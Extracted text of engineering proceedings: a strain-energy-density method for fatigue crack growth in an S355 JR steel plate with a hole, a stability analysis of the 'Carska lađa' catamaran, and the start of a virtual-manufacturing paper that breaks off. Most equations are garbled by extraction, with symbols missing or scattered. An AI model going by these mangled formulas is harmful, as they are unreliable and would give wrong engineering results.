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REZIME 

 

У раду је формулисана комплетна метода за 

анализу ширења прслине, тј. процену преосталог 

века елемената конструкције типа плоче са отвором 

и једном иницијалном прслином. Метода је базирана 

на енергетском критеријуму, односно густини 

енергије деформације (GED). Метод GED користи 

цикличне карактеристике материјала из домема 
малоциклусног замора (МЦЗ), односно исте 

карактеристике материјала које се користе и за 

процену века до појаве иницијалног оштећења. 

Фактори интензитета напона су одређени 

аналитичким путем. Формулисана метода је затим 

коришћена за процену века структуралног елемента 

у условима дејства аксијалног оптерећења 

константне амплитуде. Резултати нумеричке 

симулације ширења прслине на бази методе густине 

ширења прслине су упоређени и верификовани са 

сопственим експерименталним истраживањима. 

Добијено је изузетно добро слагање резултата 
нумеричке симулације са експерименталним 

резултатима. 

 

Кључне речи: Процена преосталог века, 

Ширење прслине,Густина енергије деформације, 

униаксијално оптерећење 

 

ABSTRACT 

 

In this paper the complete method for the analysis 

of crack propagation is formulated, as well as the 

prediction of residual life of the structural element in the 

form of a panel with a hole and a single initial crack. 

This method is based on the energy criterion, or in other 

words on strain energy density. Strain energy density 

method uses the cyclic characteristics of materials from 
low-cycle fatigue domain, the same characteristics 

which are being used for life prediction until the 

occurrence of initial damage. Stress intensity factors are 

being calculated analytically. Formulated method has 

been used for life prediction of the structural element 

while being exposed to uniaxial load of constant 

amplitude. Results of numerical simulation for crack 

propagation based on density method have been 

compared to and verified by experimental results. 

 

Key words: Fatigue, residual life, crack 

propagation  prediction, strain energy density method,  
uniaxial load. 
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1. УВОД 

 

Спољашња оптерећења која делују током 

радног века. на елементе структура односно целе 

конструкције,  као што је примера ради торањ 

постројења за истраживање нафте и гаса, су 

произвољно променљивог цикличног карактера. 

Таква променљива циклична оптерећења постепено 

разарају елемент структуре од циклиса до циклуса 

и могу проузроковати лом услед замора. Замор због 

своје сложености може бити разматран кроз две 
фазе. прву фазу која је позната као фаза до појаве 

иницијалног оштећења9  и другу, фазу ширења 

прслине10, 11. 

  

Предмет овог истраживања је усмерен на другу 

фазу, односно на процену преосталог века 

елемената конструкција са иницијалним 

оштећењима у виду прслина.  Без обзира о којој 

фази је реч поред реализације великог броја 

експеримената, неопходно је развијати нове и 

побољшати већ постојеће нумеричке моделе за 
процену века. 

 

У инжењерској пракси примена таквих 

нумеричких модела за процену века омогућава да 

се релативно брзо, математичким путем, процени 

век одговарајућег елемента структуре. Сваки од 

нумеричких модела за процену века мора бити 

базиран на одговарајућим критеријумима. 

 

Лом елемента структуре се догађа у фази 

ширења  прслине тако да посебна пажња мора бити 

усмерена баш на ту фазу. Пошто до лома најчешће 
доводи присуство пластичних деформација 

значајно је да се у оквиру критеријума анализира и 

укључи у разматрање присуство како еластичне 

тако и пластичне деформације. На тај начин и 

прорачун века за фазу ширења прслине реалније 

описане стварно понашање елемента структуре у 

условима дејства цикличног оптерећења. Један од 

критеријума који укључује у разматрање присуство 

и еластичне и пластичне деформације је енергетски 

критеријум. 

 
Приликом формулисања енергетског 

критеријума могу бити коришћени различити 

параметри. Међутим најбоље је користити оне 

параметре помоћу којих адекватно може бити 

дефинисана енергија која се абсорбује у материјалу 

и касније доводи до лома елемента структуре.  

Тако, модели формулисани од стране Weertman1 и 

Burck2 били су базирани на параметрима ниско-

цикличног замора. Они су дошли до закључка да је 

могуће одредити абсорбовану енергију до лома уз 

познавање ниско-цикличних параметара. Нешто 

касније, Liu3 као и многи други4,5,7,8 у оквиру 
својих истаживања су користили параметре ниско - 

цикличног замора приликом процене века 

елемената структура са иницијалним оштећењима. 

Значајан допринос је и Chand-a, Garg-a4 јер су у 

свом моделу извршили модификацију модела 

Weertman уз коришћење Rice-ове методе 

суперпозиције5. 

 

Циљ овог рада је да се развије погодан и 

ефикасан нумерички приступ који могућава  

процену века елемената структура за фазу ширења 

прслине. Поред тога, формулисани модел је 

базиран на енергетском критеријуму8,9. У оквиру 

предложеног модела/процедуре  користе се исти  
параметри који су потребни за фазу до појаве 

иницијалног оштећења. 

 

2. ФОРМУЛИСАЊЕ МОДЕЛА ЗА 

ПРОЦЕНУ ВЕКА 

 

     Приликом процене века елемената 

структуре са иницијалног оштећења неопходно је 

формулисати функционалну зависност између 

градијента ширења прслине da/dN и фактора 

интензитета напона KI.  
 

Највећа акумулација оштећења се јавља у 

процес зони. Самим тим, неопходно дефинисати а 

након тога и одредити енергију која проузрокује 

оштећење у процес зони.  За  зону око врха прслине 

односно, процес зону могуће је дефинисати 

енергију насталу услед пластичне деформације p 
у циклусу по јединици дужине као функције опсега 

фактора интензитета напона KI и то:   
      


/

2

/

/

1

1

n

I
p

IE

K

n

n 
















  (2.1) 
 

Где су: n - експонент деформационог ојачања 
при цикличном оптерећењу, E – Young-ов модуо 

еластичности, In,  - константе зависне од  

индекса ојачања n. 
 

Пошто је дефинисана зависност за енергију 

услед пластичне деформације p као функције Ki, 
сада је неопходно успоставити зависност између 

градијента ширења прслине da/dN и p. Приликом 
успостављања потребне зависности мора се поћи 

од чињенице да долази до ширења прслине уколико 

енергија при пластичној деформацији p у 
циклусу, достигне апсорбовану енергију у истом 

циклусу Wc, односно: 

 

c

p

WdN

da 


.    (2.2) 
 

У једначини (2.2) апсорбовану енергију у 

циклусу Wc може бити дефинисана уколико је 

позната релација напон – деформација односно 
једначина понашања материјала.  Погодна релација 
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за понашање материјала којом се укључује и 

еластично и пластично понашање је Ramberg – 

Osgood-ова једначина: 

 

    

/
1

/

n
aa

a
k

S

E

S
e 










                               
(2.3) 

 

gde su: ea – amplituda deformacije, Sa - amplituda 

napona, k- koeficijent čvrstoće pri cikličnom 

opterećenju. 
 

Уколико је једначина понашања материјала 

дата једначином (2.3), апсорбована енергија у 

циклусу Wc представља површину испод те криве у 

координатном систему S-e, односно: 
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где су: f - коефицијент чврстоће при замору,, 

f  - коефицијент дуктилности при замору. 
 
Коначно, уколико се у једначину (2.2) замене 

једначине (2.1) и (2.3) добија се функционална 

зависност између градијента ширења прслине и 

фактора интензитета напона. Након тога, добијена 

једначина може бити интеграљена од иницијалне 

дужине прслине ai до крајње дужине прслине ac да 

би се добила релација која се може користити за 

процену века елемената структура које садрже 

иницијално оштећење, односно:   
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gde je Kth- konstanta koja zavisi od 

R=Smin/Smax, odnosno Kth = Kth0(1 - R),  = 
0.71.  

 

Значи једначина (2.5) представља закон 

ширења прслине на бази методе густине енергије 

деформације (GED) и она је уграђена у Софтверски 

пакет „PP_VEK“ - Процена Преосталог века 

елемената конструкција, који служи за анализу 

ширења прслине и процену преосталог века, за 

било који облик оштећења елемената конструкција 

у виду прслина. 

  

Очигледно је да код ове зависности (2.5), 

користе цикличне карактеристике материјала из 
домена малоциклусног замора (МЦЗ) уместо 

динамичких параметара понашања материјала код 

конвенционалних закона ширења прслине попут 

Parisa, Formana и других. Основна предност овог 

приступа је у томе, да се за анализу ширења 

прскотине користе исте цикличне карактеристике 

материјала, које се користе и за процену века до 

појаве иницијалног оштећења. 

 
3.  ФАКТОР ИНТЕЗИТЕТА НАПОНА 

 
Једначине за градијент ширења прслине и  за 

процену века до појаве лома  формулишу се као 

функције фактора интензитета напона KI. Фактор 
инзензитета напона је величина којом се у 

прорачун укључује геометрија елемента структуре 

и тип спољашњег оптерећења. У аналитичкој 

релацији за фактор интензитета напона, облика:  

   

,aSYK I 
   (2.6) 

 

Y представља корективну функцију којом се 

описује геометрија елемента структуре и тип 

оптерећења, a – дужина песлине и S - напон. 

На сл. 1, приказан је изглед структуралног 

елемента са отвором и иницијалном прслином. 

Фактор интензитета напона (ФИН) је одређен и 

применом методе коначних елемената (МКЕ). 
Прецизно, ФИН су одређени применом 

сингуларних коначних елемената за различите 

дужине прслина. На основу дискретних вредности 

ФИН који су одређени применом МКЕ формира са 

аналитички израз, у облику полинома, за ФИН 

какав је неопходан за анализе ширења прслине. 

 

w

a

= t

S S

o

r

 
Сл. 1. Структурални елемент са отвором и једном прскотином. 
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4. РЕЗУЛТАТИ 

 

Метода за прорачун века елемената 

конструкција за фазу ширења прслине (GED), 

формулисана у претходним одељцима биће 

примењена на структуралном елементу са отвором и 

једном прслином под дејством цикличних 

оптерећења константне амплитуде. 

 

Пример 1:  Анализа преосталог века 

структуралног елемента са отвором и једном 
прскотином. 

 

Разматран је структурални елемент са отвором и 

иницијалном прслином на једној страин отвора, сл. 

1. У циљу верификације прорачунске процедуре за 

анализу ширења прслине на бази густине енергије 

деформације (GED) извршено је и експериментално 

одређивање ширења прслине.  Испитивање ширења 

прслине је извршено на сервохидрауличном МТС 

систему, сл. 2. Испитивања су вршена цикличним 

оптерећењима константне амплитуде. 

На сл. 3, приказана је епрувета са постављеном 

мерном фолијом. Материјал епрувете је челик S355 

JR (Č. 0563) са следећим статичким величинама: 

(напон течења 409 МПа и затезна чврстоћа 551 
МПа) и цикличним карактеристикама материјала, 

табела 1: 

 

 

 

 
 

Sl. 2 . Експериментална мерење ширења прслине користећи мерне фолије. 

 

  
 

Сл. 3. Изглед епрувете са иницијалном прслином и мерном фолијом. 
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Tabela 1: Цикличне карактеристике челика S355 

JR. 

 

Карактеристике челик 

S355 JR 

Модул еластичности, Е, MPа 208200 

Коефицијент цикличне чврстоће, К', MPа 1490.1 

Експонент цикличног деформационог 

ојачавања, n' 
0.22043 

Коефицијент заморне чврстоће,  'f, MPа 1261.9 

Експонент заморне чврстоће, b -0.08128 

Коефицијент заморне дуктилности,  'f 0.10530 

Експонент заморне дуктилност, c -0.53275 

 

Експериментално испитивање ширења прслине 

епрувете као и нумеричка симулација ширења 

прслине  користећи метод GED су  приказани на  

сл. 4.  

Добро слагање резултата нумеричке 

симулације са експериментом, код структуралног 

елемента са отвором и једном иницијалном 

прслином, указује да се презентовани приступ 

може ефикасно користити у анализама преосталог 

века. 
 

 

 

5. ЗАКЉУЧАК 

 

У раду је презентована комплетна метода за 

процену преосталог века (GED) елемената 

структура типа структуралног елемента са кружним 

отвором и са иницијалним оштећењем у виду 

прслине. Предложена метода је изузетно погодна за 

процену преостале чврстоће при замору, јер не 

захтева додатна експериментална истраживања за 

одређивање неопходних динамичких параметара, 

већ се користе параметри за ниско циклични замор 
(low cyclic properties). Значи уколико се за неки 

елемент структуре одређује укупан век у домену 

ниско цикличног замора, одмах после одређеног 

броја циклуса до појаве иницијалног оштећења, 

могуће је приступити одређивању броја циклуса до 

ефективног лома. За процену преосталог века, 

односно за анализу ширења прслине коришћена је 

метода густине енергије деформације. Будући да су 

поред развоја методе нумеричке симулације 

коришћене на бази GED, где се користе  цикличне 

карактеристике материјала уместо 
конвенционалних динамичких параметара за 

анализу ширења прслине, извршења је њена 

експериментална верификација. Добијена су 

изузетно добра слагања између  резултата 

нумеричке процене преосталог века на бази GED са 

експерименталним резултатима. 
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REZIME 

 

U radu su saopšteni jednogodišnji rezultati 

istraţivanja stabiliteta katamarana Carska laĎa kroz 

partnerstvo sa kapetanijom u Titelu i nacionalnim 
rezervatom Carska bara za potrebe plovodbene dozvole. 

ABSTRACT 

 

The scientific work presents the results of a one-

year reserch about the stability of the catamaran of the 

Imperial ship, through partnership with a captaincy in 
Titel and National Reserve Imperial Pond. 

 

 

 

A. SPOLJNE SILE KATAMARANA 

U praksi najčešći proračuni kojima se odreĎuje 

ugao nagiba φ odnosno gaţenja usled dejstva momenta 

spoljašnjih sila (vetar i dr.), prenošenje tereta, utovara 

tereta katamarana itd. Kako su u tim slučajevima nagibi 

φ srazmerno mali, mogu se svi proračuni do nagiba 

10 ° sprovesti po obrascu za početni stabilitet (A.3) 

  0000 sin GMDGMDM st  

 ili u koliko su nagibi veći, a brodovi imaju veći deo 

duţine sa uspravnim rebrima po obrascu (A.4) 

 sin)
2

1
( 2

0000  tgFMGMDM st  

Ugao nagiba katamarana Carska laĎa se nalazi iz 

uslova jednakosti momenta spoljnih sila Mk i momenta 

stabiliteta Mst tj. (A.5), stk MM       

 

A.1 Delovanje momenta 

Najčešći slučajevi dejstva momenta su zbog 

delovanja vetra, propelera i zaokretanja katamarana. 

Momenat spoljašnjih sila Mk se u najviše slučajeva 

menja sa nagibom katamarana φ, dok je nekad 

konstantan kao kod dejstva propelera. 

 

A.1.1 Momenat vetra na carskoj bari  
Uzima se da vetar dejstvuje normalno na 

simetrijsku vertikalnu ravan XZ, jer je taj slučaj 

najopasniji. Rezultujuća sila vetra Wi stvara se 

jednakom silom Wa bočnog otpora spreg prema formuli 

(A.6):  ,eWM ik  gde je:  

e krak izmeĎu sila, slike (A.34a, b, c). Bočni otpor 

vode Wa uzima se da deluje u teţištu podvodne 

laterararne povrsine  (slika A.35), ili praktično na 

polovini gaţenja katamarana, što zadovoljava kod 

većine brodova, gde je laterarna površina skoro 

praugaonik.  

Pošto se brzina vetra V kod iste nominalne jačine 
vetra povećava sa visinom od vodene površine        

(slika A.35) to će rezultanta   biti iznad teţišta nadvodne 

laterarne pvršine. U tom slučaju momenat vetra ćemo 

naći tako da nadvodnu laterarnu površinu rastavimo na 

trke paralelne sa VL (vodena linija) jednake visine i 

računamo za svaku traku momenat uzimajući pri tome 

brzinu vetra za nadvodnu visinu koja odgovara poloţaju 

sredine visine trake.  

 
 Slika A.34a Carska laĎa-pramac 

 

Tako je momenat vetra (A.7). 

)
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Slika A.34b Carska laĎa sa koordinatama teţišta palube i nadgraĎa

gde je:   

 0,226 (
3m

kg
)  - gustina vazduha 

 3,12,1  -kojeficijent oblika i hrapavosti 

katamarana 

iV  brzina vetra u (m/sec) na pojedinim trakama, 

iF  površina trake u (
2m ) 

ie  odstojanje teţišta trake u (m) 

 

Tabela  A.19 

 
 

Promena brzina prikazana na    slici A.36 je za 

slučaj strujanja vetra bez prepreka, što se praktično 

moţe desiti na Carskoj bari bez obalnog drvoreda. U 

slučajevima malih visina brodova, kao što je slučaj kod 

carske laĎe moţe se uzeti za celu laterarnu površinu 

konstantna brzina vetra i to normalna brzina vetra,  

znači brzinu na visini 2m,  tada uzimamo da rezultujća 
sila vetra deluje u teţištu nadvodne površine, čime se 

dobija praktično isti momenat vetra jer gornja ivica 

nadgradnje katamarana retko premaši visinu od 4m. 

 
Slika A.34c Fotografija pramca 

 
Sa nagibom φ katamarana se momenat vetra menja, 

jer se menja sila i krak vetra. Takav zakon promene ne 

moţe se uzeti, jer nadgradnja ima i širinu vidi, 

slika.A.38. Na osnovu empirijskih podataka moţe se za 

praksu uzeti da je za prvih (30-40)° ,  

constMM kok 
, a posle da opada po zakonu 

cosφ tj. jednačini (A.8)  :        

cos kok MM
 za 

 4030 
° 

Za grube proračune u fazi orijentacionih proračuna 

odreĎuje se nadvodna laterararnu površinu iz odnosa 

laterarnih povrsina katamarana. Tako je dato za : 

 lF
 – nadvodna lateralna površina 

  wF
 -  podvodna lateralna površina  

Kad vetar deluje na mahove tada se razmatra 

dinamički stabilitet. Krakovi za momenat vetra uzimaju 
se tada od VL, jer će osa obrtanja katamarana biti na 

simetrali negde izmeĎu teţišta sistema G i vodene linije 

VL, no bliţe vodenoj liniji (slika.A.39). 

 
Slika A.35 Carska laĎa pogled na desni bok sa teţištem pontona i gazom T/2 
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Slika A.36 Statička karakteristika 

 

Momenat vučne sile nastaje kod tegljača u 

slučaju kada vertikalna ravan vučnog uţeta 

zaklapa sa simetralom katamarana neki ugao α 

(slika.A.40). Tada će se pojaviti komponenta 

Z1 koja nakreće katamaran. Sila Z1 imaće 

najveće vrednosti u početku kretanja, dok je 

brzina mala praktično Vr=0, a kretanje se 
izvodi punom snagom motora. Ako sa Z“ 

označimo vučnu silu tegljača u smeru 

simetrale katamarana, tada bi vučna sila u 

smeru uţeta Z' za slučaj da se bok katamarana 

oslanja o podlogu plitkog dna bi1a, 

jednakost(A.9) 




cos

"Z
'Z

, 
Pošto je oslonac voda koja dozvoljava 

bočno pomeranje, to će u stvarnosti sila Z' biti 

manja, (A.10): 
 sincos'ZZ1  

 
 

 

 

 
 

Slika A. 37 Fotografija i crteţ krme carske 

laĎe

 

 

 

 
Slika A37.a Fotografija Carske laĎe pred statičko  ispitivanje stabiliteta 
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Slika A.38  Spreg sile vetra i vode                             Slika A.39 Krak sile vetra 

 

 
Slika A.40 Manevar carske laĎe kod kolonije ptica 

Praktično se moţe uzeti da je sila Z' ravna 

vučnoj sili u smeru simetrale, tj. Z'=Z“. Kako 
vučno uţe zaklapa i sa horizontalnom ravni 

ugao β to će bočna sila Z1 biti (slika.A.41) 

Sila Z1 stvara, sa njoj jednakom silom 

bočnog otpora Wa, vode, momenat nakretanja 

katamarana Mk, (slika.A.43). Kako se krak 

izmeĎu sila za vreme nakretanja menja, to je 

izraz za 

momenat(A.11)
 coseZM z1k ,gde je: 

ez vertikalno rastojanje zahvatne tačke uţeta S 

i teţista L lateralnog plana, koje je na polovini 
gaţenja T. Sile Z2 i Z3 izazivaju promene 

manjeg značaja, tako da se njihovo dejstvo 

moţe zanemariti: 

 prva izaziva neznatno oronjavanje,  

 a druga pretegu, 

dok kod brodova sa kort-diznom moţe se uzeti 

povećanje u iznosu 30%. Za ugao α moţe se 

koristiti vrednost od najviše 30-40º. 

 

 

 

 

 

 
Slika A.41 Pogled odozgo carske laĎe 
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Slika.A.42 Pogonski motori Tohatsu lm9,8;dm6 i cm15 

 

U slučajevima zaleta katamarana i naglog 

zatezanja labavog uţeta mora se računati sa 

dinamičklm stabilitetom. Sem statičke sile Z1, 

nastaće inerciona sila brodske mase, čija bočna 
komponenta Z1' povećava nakretanje. Veličina 

Z1' zavisi od mase tegljača i krutosti vučnih 

uţeta. Nakretanje je u ovom slučaju oko ose 

koja leţi izmeĎu teţišta sistema G i vodne 

limje VL. Praktično se za osu uzima 

presečnica VL i simetrale katamarana. 

 

Tabela .20 

Vrednost sile Z' uzima se za 

morske tegljače  220-250 N/kW 

rečne tegljače  150-180 N/kW, 

 

A.1.3. Momenat  propelera motora 

Pri okretanju propelera 3 Tohats u motora 

vodi javlja se otpor vode na lopaticama u vidu 

tangencijalnih komponenata T„, koje svojim 

momentum nakreću katamaran. Takvi 

slučajevi javljaju se kod neparnog broja 

propelera, dok kod parnog broja zbog 

suprotnog smera obrtanja propelera njihovi 
momenti se poništavaju (slika.A.44). 

Nakretanje katamarana je uvek u obrtnom 

smeru od smera obrtanja propelera, a momenat 

nakretanja Mk jednak je obrtnom momentu 

propelera, tj.(A.12) 

kNm   
n

N
9553,0M w

k 
gde je:  

Nw - snaga propelera je u kW 

  n    - broj obrtaja propelera u minuti 

 

Nagibi φ koji se dobijaju u normalnim 

slučajevima manji su od 1º, no jedino kod 

velikih snaga instaliranih u malo korito, kao na 

pr. tegljači, moţe ugao φ i da preĎe 1º. 

 

                     
 
   Slika.A.43 Geometrija nakretanja katamarana                       Slika.A.44 Propeleri motora carske laĎe 
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Pri zaokretanju katamarana pojavljuje se 

centrifugalna sila S, koja deluje iz teţišta sistema G i 

sila normalnog pritiska N, koja deluje iz teţišta kormila 

C (slika.A.45). Bočno na katamaran deluju njihove 

komponente Scosδ i Ncosαcosφ, gde je δ ugao 

derivacije, α ugao isterivanja kormila i φ ugao nagiba 

katamarana. Ravnoteţu tim silama ostvaruje sila bočnog 

otpora W. Kako je kod uobičajenih izvoĎenja rastojanje 

izmeĎu sila Ncosαcosφ i W neznatno, to se moţe 

zanemariti dejstvo pritiska na kormilo. 
Prema tome mamenat koji nakreće katamaran je 

vidi sl.A.46, formula (A.13): 

 
,coscoseSM fk 
 odnosno(A.14) 

,coscose
r

v

g

D
M f

red
k 

 gde je: 

r - radijus zaokretanja 

ef - odstojanje teţišta G od polovine gaţenja T/2 

vred- smanjena brzina katamarana usled dodatnih 
otpora. 

 Kako se vrednosti vred i δ vrlo teško odreĎuju, 

koristi se empirijski obrazac, gde se vrednosti cosφ i 

cosδ pribliţno jednake 1. To je i opravdano dok se radi 

o malim nagibima φ katamarana i za uobičajene uglove 

derivacije δ=7º. Tako imamo obrazac(A.15) 

,e
r

v

g

D
M f

red
k 

 gde je: 
 vred=(75-80%) od najveće brzine, a:   

r se dobija iz obrasca po Thieme-u

2/3L 125,0
L

r


 
 L – duţina katamarana u (m). 

 

A.1.5  Pomeranje tereta 

Često se neki predmet na katamaranu pomera na pr. 

premeštanje motora, prelaz putnika i dr. što se sve 

naziva pomeranje tereta. Da bi se utvrdile posledice 

potrebno je rastaviti pomeranje tereta na komponente 

kretanja i to:  

 u vertikalnom smeru i  

 horizontalno u uzduţnom i  

 poprečnom smeru.  

Kao polazno stanje uzeto je da da katamaran gazi 

ravnomerno sa gaţenjem To. I ako redosled pomeranja 

moţe biti i drukčiji, radi jednostavnosti računanja, uvek 

se uzima prvo da je izvršeno vertikalno pomeranje.  
 

A.1.5.1 Vertikalno pomeranje 

Ako teret teţine p pomeri za odstojanje ez na više, 

teţište carske laĎe pomeriće se iz tačke Go u tačku G1. 

Pošto je istisnuće vode i po veličini i po obliku isto, to 

je takoĎe poloţaj tačke Mo i Fo konstantan. Novi 

momenat stabiliteta biće vidi slika.A.48, formula (A.16) 

 sinGMDM 1oo1st  ili 

   sinGGGMDM 1o1oo1st  
Kako je pomeranje teţišta sistema dato sa 

formulom (A.17): 

,
D

ep
GG

o

z
1o




 
 to imamo ili nova metacentarska visina je data sa 

izrazom(A.18): 

o

z
oo1o

D

ep
GMGM


 

.  

Predznak (-) je za podizanje tereta, a (+) za 

spuštanje tereta. Zaključak bi bio da svako podizanje 
tereta smanjuje stabilitet, a spuštanje tereta povećava 

stabilitet. 

 

 
Slika.A.45 Okretanje katamarana                                Slika.A.46 Sile tokom okretanja 
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P PU

 
    Slika.A.47 Kretanje sa palube na krmu lz                                Slika.A.48 Kretanje turista levo, desno ey 

 
A.1.5.2 Poprečno pomeranje 

Kad se teret p pomeri za duţinu ey normalno na 

simetrijsku ravan XZ, tada se teţište sistema pomeri 

paralelno iz Go u G1, (sl.A.48). Time je ravnoteţa 
katamarana poremećena i nastali spreg zakreće 

katamaran na stranu na koju je prenet teret. Pri tom se 

menja oblik istisnuća tako da se teţište istisnuća pomera 

iz Fo u Fφ, kada se kod ugla φ ponovo uspostavlja 

ravnoteţa. Tačke Fφ i G1 padaju na normalu na novu 

vodnu liniju VLφ. 

Iz pravouglog trougla MoGoG1, sledi izraz za ugao 

nagiba(A.19): 

oo

1o

GM

GG
tg 

 , ili kako je izraz(A.20): 

,
D

ep
GG

o

y

1o




 to je  

ooo

y

GMD

ep
tg






  
Ukoliko se radi o većim nagibima φ od (10-12)°, a 

katamaran se pribliţava po obliku katamaranu uspravnih 

rebara, tada se mora uzeti u obzir promenje na 

metacentarskoj visini (A.21): 

 2

ooooo1 tgFM
2

1
GMGM

  
tako da je formula (A.22): 














2

ooooo

y

tgFM
2

1
GMD

ep
tg

  
Promena gaţenja ΔT je (A.23): 




 tg
2

T  

Rezultujuća gaţenja na bokoviina su data sa(A.24): 

TTT oz  
, odnosno 

TTT od 
 

Kako se vidi pri poprečnom pomeranju tereta ne 

menja se stabilitet već samo nagib katamarana, odnosno 

jedno bočno gaţenje se smanjuje, a drugo povećava. 

 

A.1.5.3 Uzduţno pomeranje putnika 
Prilikom pomeranja tereta horizontalno po duţini 

nastaju slične posledice kao i kod poprečnog pomeranja. 

No zbog nesimetričnosti katamarana u uzduţnom 

smislu, ipak je potrebno nešto o tome kazati (sl A.49).  

Pomeranjem tereta p za duţinu ex pomera se teţište 

sistema paralelno za iznos(A.25):  

o

y

1o
D

ep
GG




 
Kako je ravnoteţa poremećena, nastali spreg nakreće 

katamaran, dok novo teţište istisnuća F ne padne sa 

teţištem G1, na normalu na novu vodenu liniju VLφ. 

Ugao φ kod kojeg će ravnoteţa biti uspostavljena dobija 

se iz pravouglog trougla MLGoG1, (A.26) 







oLo

x

1

1o

GMD

ep

GM

GG
tg
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Slika.A.49a Statika carske laĎe tokom pomeranja putnika 

VL

b a

 
Slika.A.49b Levi i desni ponton katamarana 

 

 

 
 

Slika A.49c Ulaz turista na Carsku laĎu  

 

Kako je veličina oo FG
 u odnosu na veličinu 

oLFM
 mala (pr. 

01,0
FM

FG

oL

oo 

), a sem toga tačan 

poloţaj teţišta Go u prvim fazama projektovanja je 

nepoznat, što se moţe praktično uzeti da je 

 

oLoL FMGM 
, 

tako dobijamo izraz(A.27): 

 oLo

x

FMD

ep






  
Daljim uprošćavanjem moţe se dobiti izraz slične 

tačnosti. Kako je (A.28) 

 LooLo IFMD 
 ,  

 

 

Ako je γ=10 (ρima vrednost   1000-1025 kg/m3) 

imamo (A.29):  

Loo

x

ID

ep






 ,  

gde je: ILo moment inercije vodene linije VLo na kojoj 

je katamaran plivao pre prenošenja tereta. Pretega odn. 
promena gaţenja na pramcu v i krmi h dobija se iz 

pravouglih trouglova koje prave VLφ Vlo, formula 

(A.30) 

v=a·tgφ=a·φ, 

pa se dobija izraz (A.31); 

h=b·tgφ-bφ, 

daljim uvrštavanjem rezultira (A.32)   

LoI

Ma
v




,  
i na kraju jednakost (A.33) 

LoI

Mb
h




,  

u kojoj su:  a odn. b odstojanje teţišta VLo od prednjeg 

odnosno zadnjeg   perpendikulara. 

M=p·ex- momenat prenošenja tereta  

Gaţenje na pramcu moţe se opisati formulom  (A.35),: 

vTT oV 
,  

odnosno gaţenje krme izrazom (A.36)  

vTT oh 
  

Uobičajen je način da se pretega odreĎuje na 

osnovu jednačine pretege v1 odnosno h1 ili jediničnog 
momenta M1, koji su dati u dijagramskom listu. Kako je 

jedinična pretega ona koju izaziva momenat M od 1000 

kNm (kod manjih jedinica 100 kNm) to se stvarna 

pretega v odnosno h za dati momenat M dobija iz 

proporcije(A.37): 
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m

M
vv 1 

  
odnosno (A.38):   

m

M
hh 1 

  
Jednačina pretega se dobija uvrštavanjem za 

M=1000 kNm (A.39), 

Lo

1
I

1000
bh 

 ,  

odnosno(A.40) 

Lo

1
I

1000
av 

  
Jedinični momenat M1 je momenat koji izaziva 

ukupnu pretegu t od 1m. Kako je ukupna pretega  

(sl.A.49) ,(A.41) 

LoI

LM
tgLt




, 

to je jedinični momenat(A.42): 

L

I
M1     

I

LM
1 Lo

Lo

1 




  
Ukupnu pretegu usled momenta M dobijamo iz 

odnosa(A.43):  ,  

1M

M
t 

, 

a pretege na pramcu v odnosno krmi h kao (A.44) 

 

t
L

a
v 

 , 
odnosno(A.45): 

t
L

b
h 

  
Pomeranjem tereta po palubi menja se gaz pramca i 

krme bez uticaja na stabilnost katamarana.Ukoliko u 

početku katamaran ne gazi ravnomerno nego ima 
pretegu, proračun se moţe obaviti na isti način, koristeći 

podatke za uspravan poloţaj katamarana. Do ugla 

pretege 1º greške će biti praktično zanemarljive. 
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REZIME 

 
Virtualna proizvodnja se moţe definisati kao 

integrisano proizvodno okruţenje u kojem se mogu 

izvršavati simulacije procesa obrade uz pomoć računara. 

Neprestanim simulacijama sa promenom odgovarajućih 

parametara se ţeli doći do optimalnog rešenja gotovog 

proizvoda, čak i pre samog postavljanja pogona. U 

virtualnom okruţenju se uspostavlja interakcija izmeĎu 

konstruktora, menadţera, tehnologa, kontrolora i svih 

bitnih i uticalnih elemenata na proces proizvodnje. Na 

ovaj način je uspostavljen multidisciplinaran pristup 

organizovanja procesa proizvodnje kako bi se troškovi 

minimizirali a proizvod unapreĎivao do potrebnog nivoa 
i postigli primarni efekti  konkurentnosti sve 

zahtevnijeg trţišta. Stanje imerzije u kojem se korisnik 

nalazi (psihičko stanje virtuelne slike u stvarnom 

okruţenju), omogućava potpunu interakciju sa 

problemom koji se rešava i predlaganje optimalnog 

rešenja bez velikih troškova i prethodnih ulaganja. 

Virtuelni proces uključuje i samog korisnika budućeg 

proizvoda u proces dizajniranja, testiranja i 

prilagoĎavanja sopstvenim zahtevima i potrebama kako 

bi se na vreme zadovoljili zahtevi i najprobirljivijih i 

time proširila baza potrošača. 
 

Ključne reči: virtuelna proizvodnja, simulacije 

procesa proizvodnje, imerzivno okruţenje   

 

ABSTRACT 

 
Virtual production can be defined as an integrated 

production environment in which they can perform 

simulation processing by a computer. By constantly 

simulations with changing the corresponding parameters 

the goal is to reach the optimal solution of the finished 

product, even before the installation of the drive. The 

virtual environment is established interaction between 

the constructors, managers, technologists, regulators, 

and all relevant and influental elements in the 

production process. In this way it is established a 

multidisciplinary approach to the organization of the 

production process in order to minimize costs and 
improved the product to the required level and to 

achieve primary effects for competitiveness in 

increasingly demanding market. Condition of 

immersion in which the user is located (mental state of a 

virtual image in a real environment), allows complete 

interaction with the problem to be solved and proposing 

optimal solutions without the high costs and previous 

investments. Virtual process includes the users of future 

products in the process of designing, testing and 

adjusting its own requirements and needs in order to 

timely satisfy the requirements of the most demanding 
and thus expanded consumer base. 

 

Key words: virtual manufacturing, simulation of 

production processes, immersive environment 

 

 

 

1. UVOD 

 

Savremeni koncept razvoja proizvodnje 

podrazumeva kratak period realizacije neposredne 
proizvodnje od trenutka zamisli odreĎenog proizvoda, 

montaţe, pakovanja pa i transporta proizvoda do 

krajnjeg potrošača. Dostizanje ovakvih ciljeva zahteva 

angaţovanje i neposrednu saradnju svih činilaca u 

pripremi proizvodnje, neposredne obrade, fazne i 

završne kontrole i struktura menadţmenta od vrha ka 

najmanjim činiocima. Postavljeni rokovi plasmana 

proizvoda se moraju ispoštovati a svako kašnjenje na 

trţištu podrazumeva veće gubitke, gubitak 

konkurentnosti, pa u krajnjem slučaju, eliminaciju sa 
sve zahtevnijeg trţišta roba i usluga. Ovakvi principi su 

danas neprihvatljivi a mogu se predvideti i preduhitriti 

boljom organizacijom, fleksibilnošću, mobilnošću i 

ubrzanjem ciklusa neposredne proizvodnje. 

      Kako bi se ubrzao proizvodni proces 

intenzivirani su elementi reţima rezanja, unapreĎivane 
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mašine i pogon istih, povećavana tačnost istih (razvojem 

KUMA-kompjuterski upravljanih mašina alatki), 

razvijani mnogi specifični alati i njihovi materijali, 

menjana je struktura proizvodnog pogona i organizacija 

rada i još mnogo toga. Ove mere su donekle ubrzali 

